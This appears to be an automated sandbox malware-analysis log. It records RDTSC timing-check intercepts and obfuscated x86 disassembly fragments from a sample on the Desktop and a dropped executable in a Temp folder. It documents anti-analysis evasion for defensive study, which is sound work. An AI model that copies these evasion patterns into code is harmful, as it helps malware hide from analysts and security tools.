Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50B07DD second address: 50B07E3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50B07E3 second address: 50B07F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE5B8F4A74Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50B07F4 second address: 50B0819 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, dword ptr [ebp+08h] 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FE5B8D9CB68h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50B0819 second address: 50B0871 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5B8F4A74Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub ebx, ebx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FE5B8F4A755h 0x00000012 or ax, A326h 0x00000017 jmp 00007FE5B8F4A751h 0x0000001c popfd 0x0000001d jmp 00007FE5B8F4A750h 0x00000022 popad 0x00000023 test esi, esi 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50B0871 second address: 50B0875 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50B0875 second address: 50B087B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50B087B second address: 50B0925 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5B8D9CB64h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007FE62AC02651h 0x0000000f jmp 00007FE5B8D9CB60h 0x00000014 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000001b pushad 0x0000001c jmp 00007FE5B8D9CB5Eh 0x00000021 pushfd 0x00000022 jmp 00007FE5B8D9CB62h 0x00000027 xor ecx, 194064B8h 0x0000002d jmp 00007FE5B8D9CB5Bh 0x00000032 popfd 0x00000033 popad 0x00000034 mov ecx, esi 0x00000036 jmp 00007FE5B8D9CB66h 0x0000003b je 00007FE62AC025FCh 0x00000041 push eax 0x00000042 push edx 0x00000043 pushad 0x00000044 jmp 00007FE5B8D9CB5Dh 0x00000049 call 00007FE5B8D9CB60h 0x0000004e pop esi 0x0000004f popad 0x00000050 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50B0925 second address: 50B092B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50B092B second address: 50B09AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test byte ptr [76FA6968h], 00000002h 0x0000000f pushad 0x00000010 call 00007FE5B8D9CB64h 0x00000015 pop ebx 0x00000016 mov dh, cl 0x00000018 popad 0x00000019 jne 00007FE62AC025B9h 0x0000001f jmp 00007FE5B8D9CB69h 0x00000024 mov edx, dword ptr [ebp+0Ch] 0x00000027 pushad 0x00000028 mov ebx, 2173034Eh 0x0000002d popad 0x0000002e push ebx 0x0000002f jmp 00007FE5B8D9CB62h 0x00000034 mov dword ptr [esp], ebx 0x00000037 push eax 0x00000038 push edx 0x00000039 jmp 00007FE5B8D9CB67h 0x0000003e rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50B09AB second address: 50B09B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50B09B1 second address: 50B09D4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FE5B8D9CB66h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50B09D4 second address: 50B09D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50B09D8 second address: 50B09DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50B09DE second address: 50B09EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE5B8F4A74Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50B0A4C second address: 50B0A52 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50B0A52 second address: 50B0A56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50B0A56 second address: 50B0A9C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebx 0x00000009 jmp 00007FE5B8D9CB5Bh 0x0000000e mov esp, ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007FE5B8D9CB5Bh 0x00000019 and cl, FFFFFFEEh 0x0000001c jmp 00007FE5B8D9CB69h 0x00000021 popfd 0x00000022 movzx esi, bx 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50B0A9C second address: 50B0AE2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushfd 0x00000006 jmp 00007FE5B8F4A756h 0x0000000b xor al, FFFFFF98h 0x0000000e jmp 00007FE5B8F4A74Bh 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 pop ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FE5B8F4A755h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50C0D5E second address: 50C0DA7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5B8D9CB61h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FE5B8D9CB5Eh 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007FE5B8D9CB5Ch 0x00000019 sub cx, 5BB8h 0x0000001e jmp 00007FE5B8D9CB5Bh 0x00000023 popfd 0x00000024 push esi 0x00000025 pop edx 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50C0DA7 second address: 50C0DAD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50C0DAD second address: 50C0DB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50C0DB1 second address: 50C0DB5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50C0A96 second address: 50C0B2D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5B8D9CB5Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FE5B8D9CB66h 0x0000000f mov ebp, esp 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007FE5B8D9CB5Eh 0x00000018 add cl, FFFFFFF8h 0x0000001b jmp 00007FE5B8D9CB5Bh 0x00000020 popfd 0x00000021 call 00007FE5B8D9CB68h 0x00000026 pushfd 0x00000027 jmp 00007FE5B8D9CB62h 0x0000002c jmp 00007FE5B8D9CB65h 0x00000031 popfd 0x00000032 pop esi 0x00000033 popad 0x00000034 pop ebp 0x00000035 push eax 0x00000036 push edx 0x00000037 jmp 00007FE5B8D9CB5Ah 0x0000003c rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50C0B2D second address: 50C0B33 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50C0B33 second address: 50C0B37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 5140820 second address: 5140824 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 5140824 second address: 5140828 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 5140828 second address: 514082E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 514082E second address: 514083D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE5B8D9CB5Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 514083D second address: 5140853 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FE5B8F4A74Bh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 5140853 second address: 514086B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE5B8D9CB64h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 514086B second address: 514086F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 514086F second address: 51408D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007FE5B8D9CB5Dh 0x00000010 add al, 00000066h 0x00000013 jmp 00007FE5B8D9CB61h 0x00000018 popfd 0x00000019 pushfd 0x0000001a jmp 00007FE5B8D9CB60h 0x0000001f adc cx, 9808h 0x00000024 jmp 00007FE5B8D9CB5Bh 0x00000029 popfd 0x0000002a popad 0x0000002b mov ebp, esp 0x0000002d push eax 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 jmp 00007FE5B8D9CB60h 0x00000036 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 51408D5 second address: 51408DB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 51408DB second address: 51408E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 51408E1 second address: 51408E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 5130913 second address: 5130919 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 5130B98 second address: 5130B9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 5130B9C second address: 5130BA2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 5130BA2 second address: 5130BF5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5B8F4A754h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov ax, dx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushfd 0x00000011 jmp 00007FE5B8F4A753h 0x00000016 sbb ecx, 68B30D8Eh 0x0000001c jmp 00007FE5B8F4A759h 0x00000021 popfd 0x00000022 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 5130CDB second address: 5130CDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 5130CDF second address: 5130CEE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5B8F4A74Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 5130CEE second address: 5130CF4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 5130CF4 second address: 5130CF8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 96A32C second address: 96A330 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 96A330 second address: 96A334 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	RDTSC instruction interceptor: First address: 885C73 second address: 885C79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	RDTSC instruction interceptor: First address: 87B7E4 second address: 87B7EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	RDTSC instruction interceptor: First address: 87B7EA second address: 87B80A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FE5B8D9CB62h 0x0000000d jc 00007FE5B8D9CB56h 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	RDTSC instruction interceptor: First address: 87B80A second address: 87B80E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	RDTSC instruction interceptor: First address: 87B80E second address: 87B81A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FE5B8D9CB56h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	RDTSC instruction interceptor: First address: 885045 second address: 885064 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 jmp 00007FE5B8F4A752h 0x0000000b js 00007FE5B8F4A746h 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	RDTSC instruction interceptor: First address: 885064 second address: 885078 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FE5B8D9CB5Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	RDTSC instruction interceptor: First address: 88537A second address: 88538A instructions: 0x00000000 rdtsc 0x00000002 jp 00007FE5B8F4A746h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	RDTSC instruction interceptor: First address: 88538A second address: 885393 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	RDTSC instruction interceptor: First address: 885393 second address: 8853AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pushad 0x0000000a popad 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e jp 00007FE5B8F4A746h 0x00000014 jo 00007FE5B8F4A746h 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	RDTSC instruction interceptor: First address: 8853AD second address: 8853C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5B8D9CB65h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	RDTSC instruction interceptor: First address: 88551C second address: 88553B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FE5B8F4A746h 0x0000000a pop ebx 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007FE5B8F4A74Eh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	RDTSC instruction interceptor: First address: 88553B second address: 88555C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007FE5B8D9CB68h 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	RDTSC instruction interceptor: First address: 887978 second address: 887982 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FE5B8F4A746h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	RDTSC instruction interceptor: First address: 887982 second address: 887986 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	RDTSC instruction interceptor: First address: 887A07 second address: 887A9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 nop 0x00000008 mov edx, eax 0x0000000a push 00000000h 0x0000000c mov edi, ebx 0x0000000e push 30A59EDFh 0x00000013 jmp 00007FE5B8F4A754h 0x00000018 xor dword ptr [esp], 30A59E5Fh 0x0000001f adc dx, 377Ah 0x00000024 push 00000003h 0x00000026 push 00000000h 0x00000028 push eax 0x00000029 call 00007FE5B8F4A748h 0x0000002e pop eax 0x0000002f mov dword ptr [esp+04h], eax 0x00000033 add dword ptr [esp+04h], 0000001Ch 0x0000003b inc eax 0x0000003c push eax 0x0000003d ret 0x0000003e pop eax 0x0000003f ret 0x00000040 push 00000000h 0x00000042 push 00000000h 0x00000044 push esi 0x00000045 call 00007FE5B8F4A748h 0x0000004a pop esi 0x0000004b mov dword ptr [esp+04h], esi 0x0000004f add dword ptr [esp+04h], 00000019h 0x00000057 inc esi 0x00000058 push esi 0x00000059 ret 0x0000005a pop esi 0x0000005b ret 0x0000005c push 00000003h 0x0000005e mov di, 44B1h 0x00000062 push 8CDCC9A9h 0x00000067 pushad 0x00000068 jnp 00007FE5B8F4A748h 0x0000006e push eax 0x0000006f push edx 0x00000070 je 00007FE5B8F4A746h 0x00000076 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	RDTSC instruction interceptor: First address: 887A9F second address: 887AF2 instructions: 0x00000000 rdtsc 0x00000002 je 00007FE5B8D9CB56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b add dword ptr [esp], 33233657h 0x00000012 push 00000000h 0x00000014 push ebx 0x00000015 call 00007FE5B8D9CB58h 0x0000001a pop ebx 0x0000001b mov dword ptr [esp+04h], ebx 0x0000001f add dword ptr [esp+04h], 0000001Ah 0x00000027 inc ebx 0x00000028 push ebx 0x00000029 ret 0x0000002a pop ebx 0x0000002b ret 0x0000002c mov dword ptr [ebp+122D3603h], ecx 0x00000032 lea ebx, dword ptr [ebp+1244C89Fh] 0x00000038 mov si, 1805h 0x0000003c push eax 0x0000003d push eax 0x0000003e push edx 0x0000003f push ebx 0x00000040 jmp 00007FE5B8D9CB5Ah 0x00000045 pop ebx 0x00000046 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	RDTSC instruction interceptor: First address: 887C67 second address: 887C83 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE5B8F4A758h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	RDTSC instruction interceptor: First address: 887C83 second address: 887CAE instructions: 0x00000000 rdtsc 0x00000002 jg 00007FE5B8D9CB56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e jmp 00007FE5B8D9CB5Fh 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b jnl 00007FE5B8D9CB56h 0x00000021 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	RDTSC instruction interceptor: First address: 887CAE second address: 887CB4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50E06C6 second address: 50E06CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50E06CC second address: 50E06DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE5B8F4A74Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50E06DD second address: 50E0709 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5B8D9CB61h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr fs:[00000000h] 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FE5B8D9CB5Dh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50E0709 second address: 50E070F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50E070F second address: 50E0762 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 jmp 00007FE5B8D9CB64h 0x0000000e mov dword ptr [esp], eax 0x00000011 jmp 00007FE5B8D9CB60h 0x00000016 sub esp, 1Ch 0x00000019 pushad 0x0000001a mov edx, esi 0x0000001c mov eax, 251A6549h 0x00000021 popad 0x00000022 xchg eax, ebx 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 jmp 00007FE5B8D9CB61h 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50E0762 second address: 50E0767 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50E0767 second address: 50E07AC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5B8D9CB67h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FE5B8D9CB69h 0x0000000f xchg eax, ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FE5B8D9CB5Dh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50E07AC second address: 50E07DE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5B8F4A751h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FE5B8F4A758h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50E07DE second address: 50E07E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50E07E2 second address: 50E07E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50E07E8 second address: 50E080F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5B8D9CB5Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FE5B8D9CB5Bh 0x0000000f xchg eax, esi 0x00000010 pushad 0x00000011 mov dx, si 0x00000014 push eax 0x00000015 push edx 0x00000016 mov ebx, esi 0x00000018 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50E080F second address: 50E084D instructions: 0x00000000 rdtsc 0x00000002 mov di, ax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 xchg eax, edi 0x00000009 jmp 00007FE5B8F4A754h 0x0000000e push eax 0x0000000f jmp 00007FE5B8F4A74Bh 0x00000014 xchg eax, edi 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FE5B8F4A750h 0x0000001e rdtsc
